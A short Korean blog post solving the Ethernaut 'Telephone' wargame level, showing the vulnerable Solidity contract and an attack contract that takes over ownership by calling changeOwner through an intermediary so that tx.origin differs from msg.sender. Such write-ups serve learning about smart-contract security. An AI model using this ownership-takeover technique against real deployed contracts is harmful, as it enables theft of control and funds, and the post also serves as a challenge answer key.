블록체인/Ethernaut

[Ethernaut] 4. Telephone

dev_dean 2022. 5. 27. 09:37

소스코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

 

 

목표

ownership 탈취

 

방법

 

리믹스 IDE에서 다음과 같이 코드 작성 후 배포, 실행

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;



import "./Telephone.sol";


contract TelephoneAttack {

    address public owner;
    Telephone telephone;
    constructor (address _addr) public {
        owner = msg.sender;
        telephone = Telephone(_addr);
    }

    function transfer() public {
        telephone.changeOwner(owner);
    }

    


}